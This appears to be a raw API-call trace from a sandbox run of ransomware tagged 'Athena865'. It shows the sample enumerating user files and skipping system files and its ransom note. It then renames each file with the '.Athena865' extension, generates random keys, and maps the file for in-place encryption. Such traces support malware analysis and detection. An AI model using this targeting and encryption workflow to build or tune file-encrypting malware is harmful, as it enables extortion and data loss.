[0049.639] lstrlenW (lpString="sql") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="sql") returned -1 [0049.639] lstrlenW (lpString="sqlite") returned 6 [0049.639] lstrcmpiW (lpString1="ky.mp4", lpString2="sqlite") returned -1 [0049.639] lstrlenW (lpString="sqlite3") returned 7 [0049.639] lstrcmpiW (lpString1="qky.mp4", lpString2="sqlite3") returned -1 [0049.639] lstrlenW (lpString="sqlitedb") returned 8 [0049.639] lstrcmpiW (lpString1="wqky.mp4", lpString2="sqlitedb") returned 1 [0049.639] lstrlenW (lpString="xml") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="xml") returned -1 [0049.639] lstrlenW (lpString="$er") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="$er") returned 1 [0049.639] lstrlenW (lpString="4dd") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="4dd") returned 1 [0049.639] lstrlenW (lpString="4dl") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="4dl") returned 1 [0049.639] lstrlenW (lpString="^^^") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="^^^") returned 1 [0049.639] lstrlenW (lpString="abs") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="abs") returned 1 [0049.639] lstrlenW (lpString="abx") returned 3 [0049.639] lstrcmpiW (lpString1="mp4", lpString2="abx") returned 1 [0049.639] lstrlenW (lpString="accdb") returned 5 [0049.639] lstrcmpiW (lpString1="y.mp4", lpString2="accdb") returned 1 [0049.639] lstrlenW (lpString="accdc") returned 5 [0049.639] lstrcmpiW (lpString1="y.mp4", lpString2="accdc") returned 1 [0049.639] lstrlenW (lpString="accde") returned 5 [0049.639] lstrcmpiW (lpString1="y.mp4", lpString2="accde") returned 1 [0049.639] lstrlenW (lpString="accdr") returned 5 [0049.639] lstrcmpiW (lpString1="y.mp4", lpString2="accdr") returned 1 [0049.639] lstrlenW (lpString="accdt") returned 5 [0049.639] lstrcmpiW (lpString1="y.mp4", lpString2="accdt") returned 1 [0049.640] lstrlenW (lpString="accdw") returned 5 [0049.640] lstrcmpiW (lpString1="y.mp4", lpString2="accdw") returned 1 [0049.640] lstrlenW (lpString="accft") returned 5 [0049.640] lstrcmpiW (lpString1="y.mp4", lpString2="accft") returned 1 [0049.640] lstrlenW (lpString="adb") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0049.640] lstrlenW (lpString="adb") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="adb") returned 1 [0049.640] lstrlenW (lpString="ade") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="ade") returned 1 [0049.640] lstrlenW (lpString="adf") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="adf") returned 1 [0049.640] lstrlenW (lpString="adn") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="adn") returned 1 [0049.640] lstrlenW (lpString="adp") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="adp") returned 1 [0049.640] lstrlenW (lpString="alf") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="alf") returned 1 [0049.640] lstrlenW (lpString="ask") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="ask") returned 1 [0049.640] lstrlenW (lpString="btr") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="btr") returned 1 [0049.640] lstrlenW (lpString="cat") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="cat") returned 1 [0049.640] lstrlenW (lpString="cdb") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="cdb") returned 1 [0049.640] lstrlenW (lpString="ckp") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="ckp") returned 1 [0049.640] lstrlenW (lpString="cma") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="cma") returned 1 [0049.640] lstrlenW (lpString="cpd") returned 3 [0049.640] lstrcmpiW (lpString1="mp4", lpString2="cpd") returned 1 [0049.640] lstrlenW (lpString="dacpac") returned 6 [0049.640] lstrcmpiW (lpString1="ky.mp4", lpString2="dacpac") returned 1 [0049.641] lstrlenW (lpString="dad") returned 3 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dad") returned 1 [0049.641] lstrlenW (lpString="dadiagrams") returned 10 [0049.641] lstrlenW (lpString="daschema") returned 8 [0049.641] lstrcmpiW (lpString1="wqky.mp4", lpString2="daschema") returned 1 [0049.641] lstrlenW (lpString="db-journal") returned 10 [0049.641] lstrlenW (lpString="db-shm") returned 6 [0049.641] lstrcmpiW (lpString1="ky.mp4", lpString2="db-shm") returned 1 [0049.641] lstrlenW (lpString="db-wal") returned 6 [0049.641] lstrcmpiW (lpString1="ky.mp4", lpString2="db-wal") returned 1 [0049.641] lstrlenW (lpString="dbc") returned 3 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dbc") returned 1 [0049.641] lstrlenW (lpString="dbs") returned 3 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dbs") returned 1 [0049.641] lstrlenW (lpString="dbt") returned 3 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dbt") returned 1 [0049.641] lstrlenW (lpString="dbv") returned 3 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dbv") returned 1 [0049.641] lstrlenW (lpString="dbx") returned 3 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dbx") returned 1 [0049.641] lstrlenW (lpString="dcb") returned 3 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dcb") returned 1 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dct") returned 1 [0049.641] lstrcmpiW (lpString1="mp4", lpString2="dcx") returned 1 [0049.642] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\7wqky.mp4.Athena865") returned 83 [0049.642] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\7wqky.mp4" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\7wqky.mp4"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\7wqky.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\7wqky.mp4.athena865"), dwFlags=0x1) returned 1 [0049.642] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\7wqky.mp4.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\7wqky.mp4.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.642] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21598) returned 1 [0049.642] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.643] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.643] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.643] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.644] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.644] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5760, lpName=0x0) returned 0x17c [0049.644] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5760) returned 0x100000 [0049.645] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.645] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.645] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.646] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.646] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.646] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.646] CloseHandle (hObject=0x17c) returned 1 [0049.646] CloseHandle (hObject=0x154) returned 1 [0049.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.647] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.648] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.648] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x1db3d4a0, ftCreationTime.dwHighDateTime=0x1d4d13a, ftLastAccessTime.dwLowDateTime=0x2370e520, ftLastAccessTime.dwHighDateTime=0x1d4c633, ftLastWriteTime.dwLowDateTime=0x2370e520, ftLastWriteTime.dwHighDateTime=0x1d4c633, nFileSizeHigh=0x0, nFileSizeLow=0x551e, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8 S4kdjOc2hOb4-n7.csv", cAlternateFileName="8S4KDJ~1.CSV")) returned 1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2=".") returned 1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="..") returned 1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="windows") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="bootmgr") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="temp") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="pagefile.sys") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="boot") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="ids.txt") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="ntuser.dat") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="perflogs") returned -1 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2="MSBuild") returned -1 [0049.648] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.csv") returned 21 [0049.648] lstrcpyW (in: lpString1=0x241e8c8, lpString2="8 S4kdjOc2hOb4-n7.csv" | out: lpString1="8 S4kdjOc2hOb4-n7.csv") returned="8 S4kdjOc2hOb4-n7.csv" [0049.648] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.csv") returned 21 [0049.648] lstrlenW (lpString="Athena865") returned 9 [0049.648] lstrcmpiW (lpString1="b4-n7.csv", lpString2="Athena865") returned 1 [0049.648] lstrlenW (lpString=".dll") returned 4 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2=".dll") returned 1 [0049.648] lstrlenW (lpString=".lnk") returned 4 [0049.648] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2=".lnk") returned 1 [0049.648] lstrlenW (lpString=".ini") returned 4 [0049.649] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2=".ini") returned 1 [0049.649] lstrlenW (lpString=".sys") returned 4 [0049.649] lstrcmpiW (lpString1="8 S4kdjOc2hOb4-n7.csv", lpString2=".sys") returned 1 [0049.649] lstrlenW (lpString="8 S4kdjOc2hOb4-n7.csv") returned 21 [0049.649] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8 S4kdjOc2hOb4-n7.csv.Athena865") returned 95 [0049.649] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8 S4kdjOc2hOb4-n7.csv" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8 s4kdjoc2hob4-n7.csv"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8 S4kdjOc2hOb4-n7.csv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8 s4kdjoc2hob4-n7.csv.athena865"), dwFlags=0x1) returned 1 [0049.649] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8 S4kdjOc2hOb4-n7.csv.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8 s4kdjoc2hob4-n7.csv.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.649] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=21790) returned 1 [0049.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.650] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.650] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.651] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.651] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.651] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x5820, lpName=0x0) returned 0x17c [0049.651] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x5820) returned 0x100000 [0049.652] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.652] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.652] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.652] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.652] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.653] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.653] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.653] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.653] CloseHandle (hObject=0x17c) returned 1 [0049.653] CloseHandle (hObject=0x154) returned 1 [0049.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.654] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.654] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x9934f750, ftCreationTime.dwHighDateTime=0x1d4d232, ftLastAccessTime.dwLowDateTime=0xd4ca19b0, ftLastAccessTime.dwHighDateTime=0x1d4c9e7, ftLastWriteTime.dwLowDateTime=0xd4ca19b0, ftLastWriteTime.dwHighDateTime=0x1d4c9e7, nFileSizeHigh=0x0, nFileSizeLow=0xf56a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8A6iUe75-AGFNFLQ.xls", cAlternateFileName="8A6IUE~1.XLS")) returned 1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2=".") returned 1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="..") returned 1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="windows") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="bootmgr") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="temp") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="pagefile.sys") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="boot") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="ids.txt") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="ntuser.dat") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="perflogs") returned -1 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2="MSBuild") returned -1 [0049.655] lstrlenW (lpString="8A6iUe75-AGFNFLQ.xls") returned 20 [0049.655] lstrcpyW (in: lpString1=0x241e8c8, lpString2="8A6iUe75-AGFNFLQ.xls" | out: lpString1="8A6iUe75-AGFNFLQ.xls") returned="8A6iUe75-AGFNFLQ.xls" [0049.655] lstrlenW (lpString="8A6iUe75-AGFNFLQ.xls") returned 20 [0049.655] lstrlenW (lpString="Athena865") returned 9 [0049.655] lstrcmpiW (lpString1="FNFLQ.xls", lpString2="Athena865") returned 1 [0049.655] lstrlenW (lpString=".dll") returned 4 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2=".dll") returned 1 [0049.655] lstrlenW (lpString=".lnk") returned 4 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2=".lnk") returned 1 [0049.655] lstrlenW (lpString=".ini") returned 4 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2=".ini") returned 1 [0049.655] lstrlenW (lpString=".sys") returned 4 [0049.655] lstrcmpiW (lpString1="8A6iUe75-AGFNFLQ.xls", lpString2=".sys") returned 1 [0049.655] lstrlenW (lpString="8A6iUe75-AGFNFLQ.xls") returned 20 [0049.655] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8A6iUe75-AGFNFLQ.xls.Athena865") returned 94 [0049.655] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8A6iUe75-AGFNFLQ.xls" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8a6iue75-agfnflq.xls"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8A6iUe75-AGFNFLQ.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8a6iue75-agfnflq.xls.athena865"), dwFlags=0x1) returned 1 [0049.656] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Application Data\\8A6iUe75-AGFNFLQ.xls.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\application data\\8a6iue75-agfnflq.xls.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0049.656] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=62826) returned 1 [0049.656] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0049.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d5e8 [0049.657] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518920 [0049.657] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0049.658] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0049.658] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.658] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xf870, lpName=0x0) returned 0x17c [0049.658] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xf870) returned 0x100000 [0049.660] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0049.660] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0049.661] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0049.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d660 [0049.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0049.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x50ef50 [0049.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0049.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50ef50 | out: hHeap=0x4f0000) returned 1 [0049.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0049.661] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x50b7a8 [0049.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0049.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x50b7a8 | out: hHeap=0x4f0000) returned 1 [0049.661] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0049.661] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0049.662] CloseHandle (hObject=0x17c) returned 1 [0049.662] CloseHandle (hObject=0x154) returned 1 [0049.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d5e8 | out: hHeap=0x4f0000) returned 1 [0049.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518920 | out: hHeap=0x4f0000) returned 1 [0049.663] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0049.663] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xe8040e30, ftCreationTime.dwHighDateTime=0x1d4ccaf, ftLastAccessTime.dwLowDateTime=0x8499d0c0, ftLastAccessTime.dwHighDateTime=0x1d4ce9c, ftLastWriteTime.dwLowDateTime=0x8499d0c0, ftLastWriteTime.dwHighDateTime=0x1d4ce9c, nFileSizeHigh=0x0, nFileSizeLow=0x57e2, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="8fTkcnQUwae4Ny.flv", cAlternateFileName="8FTKCN~1.FLV")) returned 1 [0049.663] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0049.663] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0049.663] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2=".") returned 1 [0049.663] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="..") returned 1 [0049.663] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="windows") returned -1 [0049.663] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="bootmgr") returned -1 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="temp") returned -1 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="pagefile.sys") returned -1 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="boot") returned -1 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="ids.txt") returned -1 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="ntuser.dat") returned -1 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="perflogs") returned -1 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2="MSBuild") returned -1 [0049.664] lstrlenW (lpString="8fTkcnQUwae4Ny.flv") returned 18 [0049.664] lstrcpyW (in: lpString1=0x241e8c8, lpString2="8fTkcnQUwae4Ny.flv" | out: lpString1="8fTkcnQUwae4Ny.flv") returned="8fTkcnQUwae4Ny.flv" [0049.664] lstrlenW (lpString="8fTkcnQUwae4Ny.flv") returned 18 [0049.664] lstrlenW (lpString="Athena865") returned 9 [0049.664] lstrcmpiW (lpString1="ae4Ny.flv", lpString2="Athena865") returned -1 [0049.664] lstrlenW (lpString=".dll") returned 4 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2=".dll") returned 1 [0049.664] lstrlenW (lpString=".lnk") returned 4 [0049.664] lstrcmpiW (lpString1="8fTkcnQUwae4Ny.flv", lpString2=".lnk") returned 1 [0049.664] lstrlenW (lpString=".ini") returned 4 [0049.664] lstrcmpiW 